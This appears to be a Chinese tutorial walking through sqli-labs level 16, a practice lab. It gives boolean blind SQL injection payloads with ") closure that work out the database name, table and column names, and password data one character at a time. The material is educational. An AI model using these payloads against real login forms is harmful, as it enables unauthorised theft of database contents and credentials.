sqli-labs关卡16(基于post提交的双引号加括号闭合的布尔盲注)通关思路

news2024/11/16 7:47:32

文章目录

  • 前言
  • 一、回顾上一关知识点
  • 二、靶场第十六关通关思路
    • 1、判断注入点
    • 2、猜数据库长度
    • 3、猜数据库名字
    • 4、猜表名长度
    • 5、猜表名名字
    • 6、猜列名长度
    • 7、猜列名名字
    • 8、猜数据长度
    • 9、猜数据名字
  • 总结


前言

此文章只用于学习和反思巩固sql注入知识,禁止用于做非法攻击。注意靶场是可以练习的平台,不能随意去尚未授权的网站做渗透测试!!!


一、回顾上一关知识点

上一关是典型的布尔盲注,是单引号闭合。这一关是")闭合。

二、靶场第十六关通关思路

  • 1、判断注入点
  • 2、猜数据库长度
  • 3、猜数据库名字
  • 4、猜表名长度
  • 5、猜表名名字
  • 6、猜列名长度
  • 7、猜列名名字
  • 8、猜数据长度
  • 9、猜数据名字

1、判断注入点

这一关和上一关唯一不同的就是闭合不同,我们一个个试就行。一般都是单引号、双引号,或者引号和括号混合。
注入语句为

1 or 1=1 
1 or 1=2 

发现没有反应,再试试

1' or 1=1#
1' or 1=2#

经过不断尝试payload为

1") or 1=1#
1") or 1=2#

在这里插入图片描述
在这里插入图片描述

2、猜数据库长度

注入语句为

1") or length(database())>7#

发现数据库长度大于7页面登录成功,大于8登录失败
在这里插入图片描述

3、猜数据库名字

注入语句为

1") or ascii(substr(database(),1,1))>114#

(如图所示)发现大于114正常,大于115页面false状态。所以数据库名第一个字符ascii码为115,通过ascii码查询发现是字符’s’。我们要重复此操作八次,才能猜出数据库名,方法和上面一样,就是把substr(database(),2,1)一直递增到8,最后得到数据库名为security
在这里插入图片描述
在这里插入图片描述

4、猜表名长度

注入语句为

1") or length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>5#

发现第一个数据库表名大于5页面正常,大于6页面false状态。(如图所示)
在这里插入图片描述
在这里插入图片描述
通过limit 0,1递增标注数字猜其他表名长度。
得到第一个表名长6,第二个表名长8,第三个表名长6,第四个长度表名长5

5、猜表名名字

1") or ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1))>116#

(如图所示)发现第四个表名第一个字符ascii码大于116正常,大于117页面false,得到第四个表名第一个字符ascii码为117,说明是字符’u’
通过substr(表名,1,1)递增标注数字到5,猜出此表名名字为users
在这里插入图片描述
在这里插入图片描述

6、猜列名长度

注入语句为

1") or (length((select column_name from information_schema.columns where table_schema=database() and table_name="users"limit 0,1)))>1#

(如图所示)猜出第一个列名长度大于1页面正常,大于2页面false,所以第一个列名长2。以此类推递增limit得到所有列名长度(略)。第二个列名长8,第三个列名长8。
在这里插入图片描述

在这里插入图片描述

7、猜列名名字

注入语句为

1") or ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 1,1),1,1))>116#

猜到第二个列名第一个字符大于116正常,大于117页面false。通过substr(列名,1,1) 和limit 0,1不断递增标识数字查出所有列名名字。这里只演示了一个列名。得到username,password列名。

在这里插入图片描述
在这里插入图片描述

8、猜数据长度

注入语句为

1") or length((select password from users limit 0,1))>3#

(如图所示)猜出第一个密码长度大于3正常,大于4页面false。以此类推查所有数据长度。方法和上面一样就不展示了
在这里插入图片描述
在这里插入图片描述

9、猜数据名字

注入语句为

1") or ascii(substr((select password from users limit 0,1),1,1))>67#

(如图所示)猜出密码第一个字符大于67正常,大于68页面false。以此类推,猜出所有数据名字。
在这里插入图片描述
在这里插入图片描述


总结

这一关和上一关差不多,只是闭合方式不同。此文章是小白自己为了巩固sql注入而写的,大佬路过请多指教!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1201185.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

消息中心常见解决方案分享

解决方案 1、问题2、设计3、流程 看了大部分的消息中心解决方案,发现大家的中心思想都大差不差,区别基本都是在符合自身业务场景的做了一些定制化处理。本文为我对消息中心基本骨架的知识梳理,亦在帮助大家对消息中心设计有一个基本的理解。 …

Python---字典---dict

1、为什么需要字典 如果想要存储一个人的信息,姓名:Tom,年龄:20周岁,性别:男,如何快速存储。 person [Tom, 20, 男] 在日常生活中,姓名、年龄以及性别同属于一个人的基本特征。 但…

RT-Thread:嵌入式实时操作系统的设计与应用

RT-Thread(Real-Time Thread)是一个开源的嵌入式实时操作系统,其设计和应用在嵌入式领域具有重要意义。本文将从RT-Thread的设计理念、核心特性,以及在嵌入式系统中的应用等方面进行探讨,对其进行全面的介绍。 首先&a…

STL简介+浅浅了解string——“C++”

各位CSDN的uu们好呀,终于到小雅兰的STL的学习了,下面,让我们进入CSTL的世界吧!!! 1. 什么是STL 2. STL的版本 3. STL的六大组件 4. STL的重要性 5. 如何学习STL 6.STL的缺陷 7.为什么要学习string类 …

Spring Data JPA 实现集成实体对象数据库的创建、修改时间字段自动更新

JPA提供了一种事件监听器的机制,用于SQL审计,通过监听器我们可以很快速地去自动更新创建时间、修改时间,主要步骤如下: 一、创建基础实体,包含了创建和修改时间,然后让其他真正的实体继承该实体&#xff0…

云原生微服务架构及实现技术

云原生是一种技术理念和架构方法,它充分利用云计算的优势,将应用程序和基础设施进行优化,以适应云环境的特性。云原生的设计原则主要包括弹性、韧性、安全性、可观测性、灰度等,旨在让企业在云环境中实现轻量、敏捷、高度自动化的…

Spring基础——初探

Spring是一个开源的Java应用程序开发框架,它提供了一个综合的编程和配置模型,用于构建现代化的企业级应用程序。Spring的目标是简化Java开发,并提供了许多功能和特性,以提供开发效率、降低开发复杂性。 特别 主要功能 IoC容器 …

JPA Buddy快速创建update、find、count、delete、exists方法

JPA Buddy快速创建update、find、count、delete、exists方法,JPA默认提供的CrudRepository\JpaRepository提供的方法比较少,一般我们会手写一些方法,这里我们选择通过JPA Buddy快速生成,之前文章中讲到了JPA Buddy原本是IDEA收费插…

数据结构与算法【数组】Java实现

数组是一组元素组成的数据结构,元素类型必须相同,其次,数组内元素是连续存储的,因此数组中元素地址可以通过索引计算出来。 空间占用 在Java中,数组本质上也是一个对象,因此也存在对象头信息。那么数组的…

PHP原生类总结利用

再SPL介绍 SPL就是Standard PHP Library的缩写。据手册显示,SPL是用于解决典型问题(standard problems)的一组接口与类的集合。打开手册,正如上面的定义一样,有许多封装好的类。因为是要解决典型问题,免不了有一些处理文…

新的开始吧

项目答辩终于结束了: 学习规划 下面先对自己的目前的情况来说: 学长学姐让我先把vue和boot学完,所以我打算先把vue3和boot学一下,但是每天还要花一点时间在六级的听力和阅读上面,还有就是算法; 下面进行…

换根dp学习笔记

最近模拟赛经常做到,于是我就学习了一下。 算法原理 换根 d p dp dp的题一般都会给出一个无根树,因为以不同的点为根时,问题的答案不一样,所以它会让你输出答案的最大或最小值。 暴力去做这种题,就是以每个点为根然…

HarmonyOS 学习记录

时光荏苒,岁月如梭,韶华不负,未来可期。转眼间已经30岁了,学习的重要性不言而喻,在接下来的日子里记录下自己学习HarmonyOS的过程。增加一下知识储备,防患于未然嘛 不得不说华为的开发文档写的不错,开发工具直接安装后自动配置环境…

RLHF讲解

RLHF包含了两个至关重要的步骤: 训练Reward Model用Reward Model和SFT Model构造Reward Function,基于PPO算法来训练LLM frozen RMfrozen SFT ModelActor π Φ R L \pi_{\Phi}^{R L} πΦRL​ initialized from SFT ModelCritic V η V_\eta Vη​ i…

基于springboot实现结合疫情情况的婚恋系统【项目源码】

基于springboot实现结合疫情情况的婚恋系统演示 SpringBoot框架 SpringBoot是一个全新开源的轻量级框架。基于Spring4.0设计,其不仅继承了Spring框架原来有的优秀特性,而且还通过简化配置文件来进一步简化了Spring应用的整个搭建以及开发过程。另外在原…

头歌答案HTML——基础

目录 HTML——基础 第1关:初识HTML:简单的Hello World网页制作 任务描述 第2关:HTML结构:自我简介网页 任务描述 HTML——基本标签 第1关:创建第一个 HTML 标签 任务描述 第2关:创建 任务描述 …

【Liunx】服务器解决 跨域问题

首先打开后端的站点 在站点设置内打开 "配置文件" 然后在 “server_name 本机ip ”下方添加跨域配置,添加成功后重启nginx即可 add_header Access-Control-Allow-Origin *; add_header Access-Control-Allow-Methods GET, POST, OPTIONS, PUT, DELETE; add_header A…

使用Python分析时序数据集中的缺失数据

大家好,时间序列数据几乎每秒都会从多种来源收集,因此经常会出现一些数据质量问题,其中之一是缺失数据。 在序列数据的背景下,缺失信息可能由多种原因引起,包括采集系统的错误(例如传感器故障)…

ROS基础知识复习

【置顶】感谢参考:https://zhuanlan.zhihu.com/p/662074088 0.背景 工作一年多没有做 ROS 相关的开发了,最近找工作想做回这一块来,根据参考内容,抽时间给这边的基础知识敲一遍复习一下 1.环境检查 打开了之前的笔记本&#x…

AOMedia发布免版税沉浸音频规范IAMF

11月10日,开放媒体联盟(AOMedia)发布了旗下首个沉浸式音频规范IAMF(https://aomediacodec.github.io/iamf/),IAMF是一种编解码器无关的容器规范,可以携带回放时间渲染算法和音频混音的信息&…